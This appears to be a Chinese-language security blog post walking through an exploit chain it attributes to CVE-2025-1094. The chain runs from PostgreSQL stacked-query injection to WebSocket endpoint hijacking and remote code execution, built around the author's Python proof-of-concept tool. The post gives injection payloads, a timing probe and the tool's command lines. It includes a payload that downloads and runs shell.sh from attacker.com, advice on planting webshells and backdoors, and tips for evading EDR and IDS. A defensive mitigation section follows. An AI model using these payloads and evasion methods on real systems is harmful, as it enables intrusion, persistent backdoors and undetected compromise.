PostgreSQL堆叠查询注入与WebSocket劫持漏洞利用链深度剖析 📅 2026/8/11 14:49:30 1. 项目概述一个高危漏洞的“手术刀”最近安全圈里有个动静不小的漏洞CVE-2025-1094它把PostgreSQL数据库、SQL注入和WebSocket劫持这几个听起来就让人头疼的词串在了一起最终指向一个更危险的目标远程代码执行。我花了不少时间研究这个漏洞的利用链并动手写了一个概念验证工具。这玩意儿不是什么“大杀器”更像是一把精细的“手术刀”目的是清晰地解剖从Web前端的一个输入点如何一步步穿透到数据库再通过被劫持的WebSocket通道在服务器上执行任意命令的全过程。对于做渗透测试、红队演练或者单纯想深入理解现代Web应用复杂攻击面的朋友来说这个工具和背后的思路或许能给你一些启发。它不适合脚本小子因为每一步都需要你对PostgreSQL特性、WebSocket协议以及目标应用架构有基本的判断。简单来说这个漏洞的利用场景通常出现在一个使用了PostgreSQL数据库并且前后端通过WebSocket进行某些实时通信比如消息推送、状态更新的Web应用中。攻击者首先找到一个存在SQL注入的点这个注入点需要能够执行“堆叠查询”也就是在一次数据库调用中执行多条SQL语句。利用这个能力攻击者不是去拖库而是“劫持”应用层的WebSocket连接。通过注入特定的SQL语句篡改数据库中的某些配置或状态数据使得后端服务在建立或处理WebSocket连接时错误地连接到攻击者控制的恶意WebSocket服务器。一旦连接建立攻击者就可以通过这个被“劫持”的通道发送精心构造的指令最终在服务器端实现代码执行。2. 漏洞原理深度拆解链条是如何形成的要理解这个工具在做什么我们必须先把这个看似复杂的攻击链条拆开揉碎。它本质上是一个“二阶注入”与“协议混淆”的结合体利用了应用在处理不同层次数据时的不一致性。2.1 核心环节一具备堆叠查询能力的SQL注入这是整个攻击的起点也是最关键的一环。普通的SQL注入可能只能进行数据查询或简单的增删改但CVE-2025-1094利用链要求注入点必须支持“堆叠查询”。在PostgreSQL中这意味着你可以用分号;分隔在一次query操作中执行多条SQL语句。为什么必须是堆叠查询因为我们需要执行的操作不仅仅是窃取数据。我们需要向数据库写入一些特定的配置或者修改某些关键的表数据。例如假设目标应用将WebSocket服务器的连接配置如主机、端口、路径存储在数据库的某个表比如app_config表中。一个典型的利用语句可能看起来像这样; UPDATE app_config SET ws_server_url ws://attacker-controlled.com:9999/malicious WHERE config_key websocket_endpoint; --这条语句首先闭合了原有的查询然后执行一条UPDATE语句将WebSocket终端地址修改为攻击者控制的服务器地址最后用--注释掉原查询的剩余部分。如果没有堆叠查询能力这条UPDATE语句根本无法被执行。注意实际场景中配置存储的表名、字段名需要根据目标应用进行信息收集和猜测。这通常需要结合报错信息、对应用框架的了解如Spring Boot、Django的常见配置表结构或简单的模糊测试。2.2 核心环节二WebSocket连接配置的篡改与劫持在修改了数据库中的WebSocket配置后攻击并未立即完成。因为修改的是持久化存储中的数据需要等待应用下一次读取这个配置并建立WebSocket连接时篡改才会生效。这里涉及到应用的状态管理。通常WebSocket连接不是在每次需要时都去读数据库配置的那样效率太低。更常见的模式是应用启动时从数据库加载配置到内存或配置中心后续的WebSocket客户端都使用这个内存中的配置进行连接。因此我们的SQL注入攻击后可能需要等待以下事件之一发生目标服务器应用重启或重载配置。应用内置了配置热更新机制并且我们的修改触发了更新。存在一个需要新建WebSocket连接的用户操作例如新用户登录、打开新的功能页面而这个新建连接的过程会重新读取数据库配置。一旦应用使用被篡改的配置发起WebSocket连接它尝试连接的就不再是合法的内部服务而是攻击者搭建的恶意WebSocket服务器。至此WebSocket通道被成功“劫持”。2.3 核心环节三通过WebSocket通道实现RCE建立了到攻击者服务器的WebSocket连接后攻击者就拥有了一个双向的、持久的通信通道。这个通道通常比普通的HTTP请求拥有更高的权限和更少的过滤因为它常用于传输实时控制指令或数据。实现RCE的方式多种多样取决于目标服务器的环境命令注入如果服务器端的WebSocket消息处理逻辑中存在对接收到的数据直接进行拼接并调用系统命令如Runtime.exec()、ProcessBuilder的情况攻击者可以直接发送包含Shell命令的消息。反序列化漏洞如果WebSocket传输的数据被服务器端反序列化攻击者可以构造恶意的序列化对象例如利用常见的Java反序列化链在服务器上触发代码执行。利用应用自身功能更隐蔽的方式是利用这个通道发送符合应用正常业务逻辑但功能危险的指令。例如如果应用本身有通过WebSocket执行“系统管理命令”或“模块热部署”的功能攻击者就可以冒充合法客户端调用这些功能。这个阶段的挑战在于你需要对目标应用处理WebSocket消息的代码逻辑有一定的了解或进行探测才能选择最有效的RCE方式。3. 工具设计与实现思路基于以上原理我设计的这个PoC工具主要分为三个模块SQL注入利用模块、恶意WebSocket服务器模块和RCE载荷投递模块。工具采用Python编写便于跨平台和快速原型开发。3.1 SQL注入利用模块精准投递“毒药”这个模块的目标是自动化发现和利用支持堆叠查询的SQL注入点并准确篡改数据库中的WebSocket配置。它不是一个通用的SQL注入扫描器而是针对特定漏洞链的“外科手术”工具。工作流程如下目标识别与验证首先需要用户提供可能存在注入的参数如/api/user?id1中的id。工具会发送带有简单布尔逻辑的探测载荷如id1 AND 11和id1 AND 12通过响应差异确认注入存在。堆叠查询能力检测确认注入后发送如id1; SELECT pg_sleep(5)--的载荷。如果服务器响应延迟了大约5秒则证明可以执行堆叠查询并且pg_sleep函数可用这通常也意味着我们有比较高的执行权限。配置定位与篡改这是最需要手动干预或智能猜测的部分。工具内置了几种常见框架的默认配置表结构模式如settings,configurations,app_properties并尝试通过information_schema查询实际存在的表。用户也可以直接提供已知的表名和字段名。确认目标后工具会构建并执行类似前面提到的UPDATE语句。篡改验证执行篡改语句后工具可能会尝试触发一个配置读取请求如果存在这样的独立端点或者简单地检查页面是否返回了与WebSocket配置相关的错误来间接验证篡改是否成功。# 代码片段示例一个简单的堆叠查询探测 import requests import time def test_stack_query(url, param, value): 测试目标参数是否支持堆叠查询 payload f{value}; SELECT pg_sleep(5)-- params {param: payload} start_time time.time() try: resp requests.get(url, paramsparams, timeout10) elapsed time.time() - start_time if elapsed 4.5: # 考虑网络延迟 print(f[] 疑似支持堆叠查询 (响应延迟: {elapsed:.2f}s)) return True except requests.exceptions.Timeout: print([] 请求超时可能支持堆叠查询并执行了sleep。) return True print([-] 不支持堆叠查询或sleep函数被禁用。) return False3.2 恶意WebSocket服务器模块伪装与等待这个模块模拟一个正常的WebSocket服务器等待被劫持的客户端连接。它的核心任务是“伪装”避免在连接建立阶段就因协议不匹配而被断开。关键实现点协议兼容性使用websockets库Python或类似库严格实现WebSocket协议握手RFC 6455。它需要能够处理Sec-WebSocket-Key等握手头。路径与子协议处理目标应用连接的WebSocket路径Path和可能使用的子协议Subprotocol如wamp,soap需要匹配。工具需要允许用户配置这些参数或者在接收到连接时动态适配。连接管理与日志服务器需要记录每一个接入连接的来源IP、握手头信息这有助于确认攻击是否成功以及了解客户端即目标服务器的预期行为。心跳维持为了保持连接不被中断服务器需要响应客户端发来的Ping帧如果存在。当目标服务器应用连接到这个恶意服务器时攻击的桥梁就正式架设完成了。3.3 RCE载荷投递模块寻找突破口这是最后一步也是最需要技巧的一步。模块需要与建立好的WebSocket连接进行交互尝试投递并触发RCE载荷。策略分为主动和被动两种主动探测与攻击命令回显探测发送一个简单的消息如{{ping -c 1 攻击者IP}}如果目标处理逻辑是模板渲染或命令拼接可能会执行。我们在自己的服务器上监听ICMP包或特定端口来确认命令是否执行。盲注式攻击如果无法直接看到回显可以构造基于时间的盲注载荷。例如发送{{sleep 5}}观察WebSocket响应或连接是否出现延迟。反序列化攻击如果判断目标可能是Java应用可以发送一个精心构造的序列化对象利用已知Gadget链如CommonsCollections尝试触发RCE。被动监听与利用在某些情况下目标应用连接后会主动发送一些消息或指令。恶意服务器可以记录这些消息分析其协议格式然后“模仿”合法服务器的响应格式在其中夹带恶意指令。例如客户端发送{action: getSystemInfo}服务器可以回复{action: systemInfo, data: 反弹shell命令}如果客户端不加验证地解析并处理data字段就可能中招。实操心得在实际测试中直接获得交互式Shell往往比较困难。更务实的做法是分步进行先尝试执行whoami、id确认权限然后尝试写入一个Webshell到可访问目录或者利用curl/wget将更强大的后门下载到服务器。WebSocket通道的稳定性不如反向Shell动作要快、准、稳。4. 工具使用实操与核心参数解析工具设计为命令行交互模式主要分为三个模式对应攻击的三个阶段。4.1 第一阶段注入探测与配置篡改python cve_2025_1094_exploit.py --mode inject \ --target-url http://vulnerable-app.com/api/data \ --param query \ --db-table app_settings \ --db-key-col config_key \ --db-value-col config_value \ --target-key websocket_url \ --new-value ws://your-malicious-server.com:8080/ws参数解析--mode inject指定运行注入模式。--target-url存在SQL注入点的完整URL。--param存在注入的参数名。--db-table,--db-key-col,--db-value-col目标配置存储的表和字段名。这需要前期信息收集。--target-key要修改的配置项键名如websocket_url。--new-value要篡改成的恶意WebSocket服务器地址。执行过程工具会先对param进行基本的布尔盲注测试确认注入。然后测试pg_sleep确认堆叠查询与函数权限。使用information_schema尝试确认用户提供的表字段是否存在如果数据库用户权限足够。最后构造并执行UPDATE语句。执行后工具可能会尝试访问一个已知的、会读取该配置的端点如果用户通过--trigger-url参数提供来触发配置的重新加载。4.2 第二阶段启动恶意WebSocket服务器python cve_2025_1094_exploit.py --mode server \ --listen-host 0.0.0.0 \ --listen-port 8080 \ --path /ws \ --subprotocol chat \ --log-level DEBUG参数解析--mode server启动WebSocket服务器模式。--listen-host,--listen-port服务器监听地址和端口。--pathWebSocket连接路径必须与目标应用尝试连接的路径一致。--subprotocol可选的子协议需要与客户端匹配。--log-level日志详细程度DEBUG模式会打印所有握手头和消息。服务器启动后会在控制台等待连接。一旦有客户端连接会打印详细的连接信息。此时工具会自动进入一个简单的交互式Shell允许你手动向该连接发送消息。4.3 第三阶段交互式攻击与自动化载荷投递当有客户端连接后你可以使用内置的交互式命令也可以使用--mode attack进行自动化攻击。交互式命令示例在服务器模式下的命令行Connected to 192.168.1.100:54321 WS help Available commands: send, broadcast, shell, exit WS send {type:command,data:whoami} WS shell [] Starting pseudo-shell. Type exit to return. cmd echo test /tmp/test.txt cmd exit自动化攻击模式python cve_2025_1094_exploit.py --mode attack \ --client-id 1 \ # 对应之前连接的客户端ID --payload-type command \ --payload curl http://attacker.com/shell.sh -o /tmp/s.sh chmod x /tmp/s.sh /tmp/s.sh \ --expect-timeout 10此模式会向指定客户端连接发送构造好的载荷并等待一段时间看连接是否断开可能意味着命令执行导致进程崩溃。5. 防御视角与缓解措施研究攻击是为了更好的防御。从防御者角度看要阻断整个CVE-2025-1094利用链需要在每一层设置关卡。5.1 杜绝SQL注入尤其是堆叠查询使用参数化查询预编译语句这是根本解决方案。无论是使用ORM如SQLAlchemy、Hibernate还是直接使用数据库驱动都必须确保所有用户输入通过参数传递而非字符串拼接。最小权限原则连接数据库的应用程序账户只应拥有其必需的最小权限。避免使用超级用户或拥有CREATE,DROP,EXECUTE等高危权限的账户。这样即使发生注入攻击者也无法执行pg_sleep或写入系统文件。启用Web应用防火墙WAF配置WAF规则过滤包含分号;、SQL关键字如UNION,SELECT,UPDATE,DROP以及pg_sleep等特殊函数的请求。但WAF只是缓解措施不能替代安全的代码。输入验证与过滤对用户输入进行严格的类型、长度和格式检查。例如ID参数应强制转换为整数。5.2 保护WebSocket配置与连接配置不可信源WebSocket服务器地址、密钥等敏感配置不应存储在数据库中或至少不应由前端用户可修改的数据间接控制。应使用环境变量、安全的配置中心或经过签名验证的配置文件。连接验证与鉴权WebSocket连接建立时必须进行强身份验证如基于Token的鉴权不能仅依靠连接参数。服务端应验证客户端的身份确保其有权建立连接。同源策略与CORS严格配置WebSocket的跨域策略仅允许可信来源建立连接。心跳与超时机制实现合理的心跳和超时断开机制防止被长期劫持的连接占用资源。5.3 限制服务器端命令执行能力沙箱与环境隔离运行应用程序的进程应处于沙箱或容器中限制其系统调用和文件系统访问权限。禁用危险函数在可能的情况下禁用应用运行环境中的危险函数如PHP的system,execJava的ProcessBuilder在某些安全策略下受限。命令执行白名单如果业务必须执行系统命令应实现严格的白名单机制只允许执行预定义的、安全的命令和参数。日志与监控详细记录所有WebSocket连接、消息以及系统命令的执行日志并设置告警规则对异常模式如从未知IP建立WebSocket连接、执行非常见命令进行实时告警。6. 常见问题与排查技巧实录在实际利用和测试过程中我遇到了不少坑。这里记录一些典型问题和解决方法。6.1 SQL注入阶段常见问题问题1注入点确认存在但堆叠查询不执行。排查首先检查数据库用户权限。尝试执行SELECT current_user;和SELECT rolsuper FROM pg_roles WHERE rolname current_user;查看是否为超级用户。非超级用户可能被限制了某些操作。解决尝试不使用pg_sleep改用其他无权限要求的查询进行时间盲注如SELECT COUNT(*) FROM generate_series(1,10000000)通过CPU延时判断。注意某些数据库驱动或框架如某些版本的JDBC、某些ORM的默认设置可能默认不允许堆叠查询。需要研究目标技术栈的具体情况。问题2UPDATE语句执行成功但配置未生效。排查缓存应用层可能有配置缓存。需要找到清除缓存或触发刷新的方法。找错表配置可能存储在另一张表或者以JSON、XML格式存储在某个字段中需要更精细的UPDATE语句。时机不对修改的是备用配置表而应用读取的是主配置表。解决通过注入点读取当前配置值进行确认。或者尝试修改一个立即生效的、无关紧要的配置如页面标题来验证整个“修改-读取”链条是否通畅。6.2 WebSocket服务器阶段常见问题问题3目标服务器连接不上我的恶意服务器。排查清单网络可达确保你的服务器IP和端口在目标服务器的网络环境中可达无防火墙拦截。路径/子协议不匹配检查目标应用源码或网络抓包确认其WebSocket连接的完整URL和子协议。路径末尾的/都不能错。TLS/SSL如果目标应用使用wss://你需要搭建支持SSL的WebSocket服务器并提供有效或可被接受的自签名证书。握手头验证有些服务器会验证额外的HTTP头如Origin,Cookie等。你的恶意服务器需要在握手时返回这些头。问题4连接建立后立即被断开。排查很可能是协议通信格式不符。目标客户端发送了特定格式的消息如JSON-RPC、STOMP而你的服务器回复了普通文本或格式错误的消息。解决在服务器端开启DEBUG日志记录客户端发送的第一条消息。分析其格式并模仿其协议进行回复。可以先只回复Pong帧或简单的确认消息维持连接不断。6.3 RCE载荷投递阶段常见问题问题5命令似乎执行了但没看到效果。排查无回显这是最常见情况。尝试使用基于时间的盲注命令如sleep 5、ping -c 5 127.0.0.1观察连接延迟。权限不足执行的whoami或id命令没有输出可能是因为用户权限低或者命令执行被限制。尝试写入文件到/tmp目录测试写权限echo test /tmp/test_$(date %s).txt。字符转义与编码通过WebSocket发送的命令可能在服务端被错误地转义或编码。尝试对载荷进行URL编码、Base64编码等多重编码测试。解决采用分步验证法。第一步先发一个绝对能产生外部网络交互的命令来确认执行例如ping -c 1 [你的接收服务器IP]并在你的服务器上抓ICMP包。或者用curl http://your-server.com/看你服务器的访问日志。问题6触发了防护或告警。排查现代主机和网络往往有EDR、HIDS或网络IDS。你的攻击流量可能触发了规则。解决降低速度在命令之间添加随机延迟。混淆命令对命令进行混淆如反转字符串、Base64编码后解码执行。使用合法工具优先使用目标系统上已有的、合法的管理工具或应用自身功能进行横向移动避免直接执行bash -c等敏感字符串。做好清理在测试完成后尽可能通过注入恢复被篡改的数据库配置并删除上传的临时文件。这个工具和整个研究过程让我深刻体会到现代Web应用的安全是一个立体防线任何一个环节的疏忽都可能被串联起来形成致命的攻击链。对于开发者遵循安全编码规范、实施深度防御策略至关重要对于安全人员理解这些复杂的交互和依赖关系才能更有效地发现和验证风险。工具只是思想的延伸真正的价值在于对漏洞链路的深刻理解和对防御体系的全局审视。